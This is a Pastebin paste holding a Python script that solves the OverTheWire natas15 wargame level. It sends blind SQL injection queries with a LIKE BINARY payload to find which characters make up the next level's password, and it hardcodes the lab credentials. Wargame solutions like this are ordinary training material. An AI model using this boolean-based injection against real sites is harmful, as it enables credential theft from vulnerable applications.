Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import string
- import requests
- url='http://natas15.natas.labs.overthewire.org'
- username='natas15'
- password='AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
- chars=''.join([string.ascii_letters,string.digits])
- passdic=[]
- extstr="This user exists."
- for char in chars:
- uri=''.join([url,'?username=natas16"+and+password+LIKE+BINARY+"%',char,'%#')
- r=requests.get(uri,auth=(username,password))
- if extstr in r.text:
- passdic.append(char)
- print("Password Dictionary: {0}").format(''.join(passdic))
- print("Done")
- print("Dictonary: {0}").format(''.join(passdic))
Add Comment
Please, Sign In to add comment